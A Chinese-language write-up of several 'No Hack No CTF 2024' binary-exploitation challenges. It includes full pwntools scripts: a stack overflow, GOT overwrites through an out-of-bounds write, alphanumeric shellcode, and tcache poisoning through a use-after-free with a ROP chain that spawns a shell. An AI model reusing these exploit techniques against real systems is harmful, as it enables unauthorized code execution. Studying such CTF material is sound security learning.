[No Hack No CTF 2024] pwn

news2024/11/22 6:24:50

Grading system

有隐藏菜单S,直接得到shell

DOF

两个字符串比较检查,通过溢出覆盖检查位置

from pwn import *
context.log_level='debug'

p = remote('chal.nhnc.ic3dt3a.org', 2000)
p.sendlineafter(b"What's you name:", b'A'*16+b"cat_sleeping\0")
p.sendlineafter(b"Enter the name: ", b'A'*0x18+p64(0x21)+b"pwn3d!!!\0")
p.interactive()
#NHNC{dof==doblue_over_flow?!?!}

welcome

关于OOB,这题自带一个WP,但是远程没弄成。

PIE未开,并且各种表可写。当输入一个大数(1<<32)malloc会返回0,这时候写的位置取决于输入的idx,可以输入0x403310直接写got表。按WP上说,覆盖got.free的后3个字(爆破4位)为one。后边一句是未验题。

#include <stdio.h>
#include <stdlib.h>

int main() {
	size_t size, idx;
	char *ptr, val;

	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	printf("Size: ");
	scanf(" %zu", &size);
	ptr = malloc(size);
	while (1) {
		printf("Index: ");
		scanf(" %zu", &idx);
		printf("Val: ");
		scanf(" %hhx", &val);
		if (idx > size) {
			free(ptr);
			exit(0);
		} else {
			ptr[idx] = val;
		}
	}
	return 0;
}

当输入大数ptr为0时输入字节覆盖got表,这时候free还没有被调用过未初始化时是指向plt表的。所以并不能写成one。

作了两个都没成功。第1个是将got.exit改为指向main,返回调用free时会填充,然后调用exit实际上调用main这时再修改got.free为one,因为one有好多条件并且加上爆破的原因大概率不成功,本地成功后远程也不成功(其实所以方法远程都不成功,一直没找到正确方法)。

第2个方法改了点把malloc直接改成system,把exit改成main这样再次调用时malloc(/bin/sh)就行

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')

p = process('./chal')
#p = remote('chal.nhnc.ic3dt3a.org', 2004)

#1, OOB write size=0x100000000 ptr=0
bignum = 1<<32
p.sendlineafter(b"Size: ", str(bignum).encode())

def write(v,n,target):
    for i in range(n):
        p.sendlineafter(b'Index: ', str(target+i).encode())
        p.sendlineafter(b'Val: ', hex(v[i])[2:].zfill(2).encode())

#2,got.exit->main got.malloc->system(force 4bit) 
write(p64(0x4011d6),3, elf.got['exit'])
write(p64(0xc50d70),3, elf.got['malloc'])
write(b'/bin/sh',7, 0x403380)
write(b'\0',1, bignum+2)

p.sendlineafter(b"Size: ", str(0x403380).encode())

p.interactive()

但这里有个小问题,题目给了Dockfile 是ubuntu 22.04应该是对应2.35但不知道小版本所以可能这个system不正确。

同样修改的另一个版本是修改符号表里的malloc串为system并改为初始化前的值,同样不知道版本的情况下string的位置也不清楚。本地不用爆破但是远程也成功不了。

用一个不用爆破的方法,先将malloc改为printf,free改为main这样第2次调起输入stdin得到泄露的libc地址,再改malloc为system再回来输入/bin/sh地址。不过远程还是执行不起来,估计给的附件有问题。那个main或者got的地址不大对。

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./chal')

p = process('./chal')
#gdb.attach(p, "b*0x4012de\nc")
#p = remote('chal.nhnc.ic3dt3a.org', 2004)

#1, OOB write size=0x100000000 ptr=0
bignum = 1<<32
p.sendlineafter(b"Size: ", str(bignum).encode())

def write(v,n,target):
    for i in range(n):
        p.sendlineafter(b'Index: ', str(target+i).encode())
        p.sendlineafter(b'Val: ', hex(v[i])[2:].zfill(2).encode())

#gdb.attach(p, "b*0x401268\nc")

write(p64(0x4011d6),8, elf.got['free'])
write(p64(0x401040),8, elf.got['malloc']) #malloc->printf
write(b'\0',1, bignum+2)

p.sendlineafter(b"Size: ", str(0x403350).encode())
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['_IO_2_1_stdin_']
print(f"{libc.address = :x}")

write(p64(libc.sym['system']),8, elf.got['malloc']-6)
write(b'\0',1, bignum+2)

p.sendlineafter(b"Size: ", str(next(libc.search(b'/bin/sh\0'))).encode())

p.interactive()

Filtered

只能用大小写字母和数字的shellcode。利用残留的rax=buf,rbx=0造个read网上有造system的,但感觉他用的rax^0x30这种偏移不大成功,因为这个异或并不是加法。

#include <stdio.h>

#define SHELLCODE_LENGTH 0x1000

int main() {
	char shellcode[SHELLCODE_LENGTH];

	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	puts("Speak English *ONLY* !!!");
	puts("No more crazy stuffs like binary !!!");
	scanf(" %[a-zA-Z0-9]", shellcode);
	((void (*)(void))shellcode)();
}

自己写的用xor [rax+0x30],ecx来造pop rdi;pop rsi;syscall

from pwn import *
context(arch='amd64', log_level='debug')

p = process('./chal')

#需要patchelf成对应版本,不然可能rbx不为0,可换rcx,r8,r10,....
shellcode = '''
push rax; push rbx;push rbx;  /* 0,0,buf -> rax,rdi,rsi */
push 0x30613030; pop rcx;  /* onn5^00a0 = _^\x0f\x05 */
xor dword ptr [rax+0x30],ecx;
pop rax; 
push 0x70;pop rdx; /* rdx */
'''

p.sendlineafter(b'y !!!\n',asm(shellcode)+b'QY'*16+b'onn5')

sleep(0.5)
p.send(b'\x90'*0x38+asm(shellcraft.sh()))
p.interactive()

Fishbaby's Library

给了个wp是正确的,输入即可

SLIME MACHINE REVENGE

堆题,限制只能用malloc 7次,有uaf。通过uaf控制tcache这样可以直接写地址不用malloc两次。

通过泄露environ然后在栈里写rop

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8_amd64/libc.so.6')

def add(size):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"size: ", str(size).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"index: ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendafter(b"data: ", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'4')
    p.sendlineafter(b"index: ", str(idx).encode())

#p = process('./chal')
p = remote('23.146.248.196', 48763)

add(0x430) #0
add(0x280) #1
free(0)
show(0)
p.recvuntil(b"[0]: ")
libc.address = u64(p.recv(6)+b'\0\0') - 0x203b20
print(f"{libc.address = :x}")

add(0x280) #2
free(1)
free(2)
show(1)
p.recvuntil(b"[1]: ")
heap = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0'))<<12
print(f"{heap = :x}")

#控制tcache
edit(2, p64((heap+0x10)^(heap>>12)))
add(0x280) #3
add(0x280) #4 tcache

#泄露栈地址
edit(4, b'\x01'.ljust(0x80,b'\0') + p64(libc.sym['_environ']-0x18))
add(0x18) #5
edit(5, b'A'*0x18)
show(5)
p.recvuntil(b"[5]: ")
stack = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x150
print(f"{stack = :x}")

#在栈上写ROP
edit(4, p64(0)+p64(1)+p64(0)*14 + flat(0,0,0,0, stack+0x8))
add(0x58) #6

#
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
pay = flat(0,0,0,pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
edit(6, pay)

#gdb.attach(p, "b*0x55555555567d\nc")
p.sendlineafter(b">>> ", b'5')
p.interactive()
#NHNC{Slimes_issss_so_cute_and_evil!!!So_crazy_you_really_love_SLIME!!!!!}

SLIME MACHINE REVENGE REVENGE

给了个gift是ld的地址,似乎想不到怎么用才更好。次数255,但限制size<=0x90 所以拿上题改一下。限制size可以分两次控制tcache.cnt,tcache.ptr 后边方法一样。

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3.6_amd64/libc.so.6')

def add(size):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"size: ", str(size).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"index: ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendafter(b"data: ", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'4')
    p.sendlineafter(b"index: ", str(idx).encode())

#p = process('./chal')
p = remote('23.146.248.196', 41423)

for i in range(8):
    add(0x90)

for i in range(7,-1,-1):
    free(i)

show(7)
p.recvuntil(b": ")
heap = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0'))<<12
print(f"{heap = :x}")

show(0)
p.recvuntil(b"[0]: ")
libc.address = u64(p.recv(6)+b'\0\0') - 0x21ace0
print(f"{libc.address = :x}")

add(0x48) #8
add(0x48) #9
free(9)
free(8)
edit(8, p64((heap+0x90)^(heap>>12)))
add(0x48)
add(0x48) #11 tcache.ptr

add(0x38)
add(0x38)
free(13)
free(12)
edit(12, p64((heap+0x10)^(heap>>12)))
add(0x38)
add(0x38) #15 tcache.cnt

edit(15, p16(1)*9)
edit(11, p64(libc.sym['_environ'])*9)

add(0x40) #16

show(16)
p.recvuntil(b"[16]: ")
stack = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x140
print(f"{stack = :x}")

edit(15, p16(1)*9)
edit(11, p64(stack-0x18)*9)

add(0x80) #17

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pay = flat(0,0,0,pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
edit(17, pay)

sleep(0.5)
p.sendline(b"cat /home/chal/flag.txt")
p.interactive()
#NHNC{Tsundere_slime_is_not_that_easy_to_handle_is_it?}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2245155.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++进阶:哈希表实现

目录 一:哈希表的概念 1.1直接定址法 1.2哈希冲突 1.3负载因子 1.4实现哈希函数的方法 1.4.1除法散列法/除留余数法 1.4.2乘法散列法 1.4.3全域散列法 1.5处理哈希冲突 1.5.1开放地址法 线性探测 二次探测 ​编辑 双重散列 1.5.2链地址法 二.代码实现 2.1开放地址…

汽车资讯新趋势:Spring Boot技术解读

5系统详细实现 5.1 管理员模块的实现 5.1.1 用户信息管理 汽车资讯网站的系统管理员可以管理用户&#xff0c;可以对用户信息修改删除审核以及查询操作。具体界面的展示如图5.1所示。 图5.1 用户信息管理界面 5.1.2 汽车品牌管理 系统管理员可以汽车品牌信息进行添加&#xf…

EdgeNeXt:面向移动视觉应用的高效融合CNN-Transformer架构

摘要 https://arxiv.org/pdf/2206.10589 为了追求更高的准确性&#xff0c;通常会开发大型且复杂的神经网络。这些模型需要高计算资源&#xff0c;因此无法部署在边缘设备上。构建资源高效通用网络在多个应用领域都非常有用&#xff0c;因此备受关注。在本研究中&#xff0c;我…

udp_socket

文章目录 UDP服务器封装系统调用socketbind系统调用bzero结构体清0sin_family端口号ip地址inet_addrrecvfromsendto 新指令 netstat -naup (-nlup)包装器 的两种类型重命名方式包装器使用统一可调用类型 关键字 typedef 类型重命名系统调用popen UDP服务器封装 系统调用socket …

Spring Boot教程之五:在 IntelliJ IDEA 中运行第一个 Spring Boot 应用程序

在 IntelliJ IDEA 中运行第一个 Spring Boot 应用程序 IntelliJ IDEA 是一个用 Java 编写的集成开发环境 (IDE)。它用于开发计算机软件。此 IDE 由 Jetbrains 开发&#xff0c;提供 Apache 2 许可社区版和商业版。它是一种智能的上下文感知 IDE&#xff0c;可用于在各种应用程序…

高效高质量SCI论文撰写及投稿流程及策略丨从论文选题、文献调研、实验设计、数据分析、论文结构及语言规范等重要环节

科学研究的核心在于将复杂的思想和实验成果通过严谨的写作有效地传递给学术界和工业界。对于研究生、青年学者及科研人员&#xff0c;如何高效撰写和发表SCI论文&#xff0c;成为提升学术水平和科研成果的重要环节。本教程旨在帮助学员系统掌握从选题到投稿的全过程&#xff0c…

Mac下的vscode远程ssh免密码登录

Mac下的vscode远程ssh免密码登录&#xff08;同理可迁移至windows及linux系统&#xff09; 在日常开发中&#xff0c;使用远程服务器进行开发是非常常见的&#xff0c;而通过 SSH 免密码登录可以显著提高效率&#xff0c;避免每次连接时都需要输入密码。本文将介绍如何在 macOS…

记录eslint报错的情况

这几天在调试vue的eslint&#xff0c;害&#xff0c;我领导说eslint要打开规范代码&#xff0c;顺带看了一下eslint的规则&#xff0c;并且研究一下报错。切记每次修改了.eslintrc配置文件&#xff0c;需要重启项目再查看控制台&#xff0c;否则之前的报错会一直存在。 第一个…

汽车软件DevOps解决方案

汽车软件DevOps解决方案是专为现代汽车行业设计的一套集成化需求、开发、测试、部署、OTA与监控&#xff0c;旨在加速软件开发流程&#xff0c;提高软件质量和安全性&#xff0c;同时确保整个生命周期的高效性和灵活性。以下是经纬恒润汽车软件DevOps解决方案的关键组成部分和优…

openCV与eigen两种方法---旋转向量转旋转矩阵

#include <Eigen/Dense> #include <opencv2/core/eigen.hpp> #include <opencv2/opencv.hpp> using namespace cv; using namespace std; int main() {// opencv 旋转向量cv::Vec3d rvec(1.0, 2.0, 3.0);cv::Mat rotation_matrix;cv::Rodrigues(rvec, rotati…

Vue项目搭建-2-组合式API

入口-setup 在组件渲染时会优先执行 setup 中代码&#xff0c;执行时机为 beforeCreate 之前 setup 方法中的对象若想要在 template 中使用&#xff0c;需要将方法 return 出去: <script> export default {setup() {console.log(setup had run)const msg "hello…

国产linux系统(银河麒麟,统信uos)使用 PageOffice 动态生成word文件

PageOffice 国产版 &#xff1a;支持信创系统&#xff0c;支持银河麒麟V10和统信UOS&#xff0c;支持X86&#xff08;intel、兆芯、海光等&#xff09;、ARM&#xff08;飞腾、鲲鹏、麒麟等&#xff09;、龙芯&#xff08;LoogArch&#xff09;芯片架构。 数据区域填充文本 数…

H.265流媒体播放器EasyPlayer.js H5流媒体播放器关于如何查看手机端的日志信息并保存下来

现今流媒体播放器的发展趋势将更加多元化和个性化。人工智能的应用将深入内容创作、用户体验优化等多个方面&#xff0c;带来前所未有的个性化体验。 EasyPlayer.js H.265流媒体播放器属于一款高效、精炼、稳定且免费的流媒体播放器&#xff0c;可支持多种流媒体协议播放&#…

【软考】系统架构设计师-信息系统基础

#信息系统基础核心知识点 信息系统5个基本功能&#xff1a;输入、存储、处理、输出和控制 诺兰模型&#xff1a;信息系统计划的阶段模型&#xff0c;6阶段 初始阶段&#xff0c;传播阶段&#xff0c;控制阶段&#xff0c;集成阶段&#xff0c;数据管理阶段&#xff0c;成熟阶…

【论文笔记】Large Brain Model (LaBraM, ICLR 2024)

Code: https://github.com/935963004/LaBraM Data: 无 目录 AbstractIntroductionMethodNeural tokenizer training&#xff1a;Pre-training LaBraM&#xff1a; ResultsExperimental setup&#xff1a;Pre-training result&#xff1a;Comparison with SOTA&#xff1a;Pre-t…

瀚海微SD NAND之SD 协议(34)1.8V信号的时序

固定数据窗口输出时序(SDR12、SDR25、SDR50) 固定数据窗口插卡输出时序如下图所示&#xff0c;SDR12、SDR25、SDR50的输出时序 有效窗口由输出延迟(topy)的最小值和最大值指定。 无论温度和电压如何变化&#xff0c;与SDCLK同步的有效数据窗口都是可用的。 输出有效窗口由t…

web——sqliabs靶场——第十三关——报错注入+布尔盲注

发现是单引号加括号闭合的 尝试联合注入 发现不太行&#xff0c;那尝试报错注入。 测试报错注入 unameadmin) and updatexml(1,0x7e,3) -- &passwdadmin&submitSubmit 爆数据库 unameadmin) and updatexml(1,concat(0x7e,database(),0x7e),3) -- &passwdadmin&a…

5、AI测试辅助-生成测试用例思维导图

AI测试辅助-生成测试用例思维导图 创建测试用例两种方式1、Plantuml思维导图版本 (不推荐&#xff09;2、Markdown思维导图版本&#xff08;推荐&#xff09; 创建测试用例两种方式 完整的测试用例通常需要包含以下的元素&#xff1a; 1、测试模块 2、测试标题 3、前置条件 4、…

附录2-pytorch yolov5目标检测

项目地址 https://github.com/ultralytics/yolov5 参考 https://zhuanlan.zhihu.com/p/711356735 目录 1 数据集准备 1.1 images 1.2 labels 1.3 yaml文件 2 环境配置 3 python环境配置 3.1 安装torch 3.2 安装opencv 3.3 安装 ultralytics 4 预训练模型…

CDM(码分复用)发送和接受原理

现在假设主机A、B、C。其对应的码片序列为a、b、c。 现在有&#xff1a; 现在假设A发送比特1&#xff0c;对应发送的是。B不发送。C发送比特0&#xff0c;对应发送。 信号叠加的结果为。 基站X将结果与每一个主机的码片序列做内积。 与A&#xff1a; ,因此A发送了1。 与B…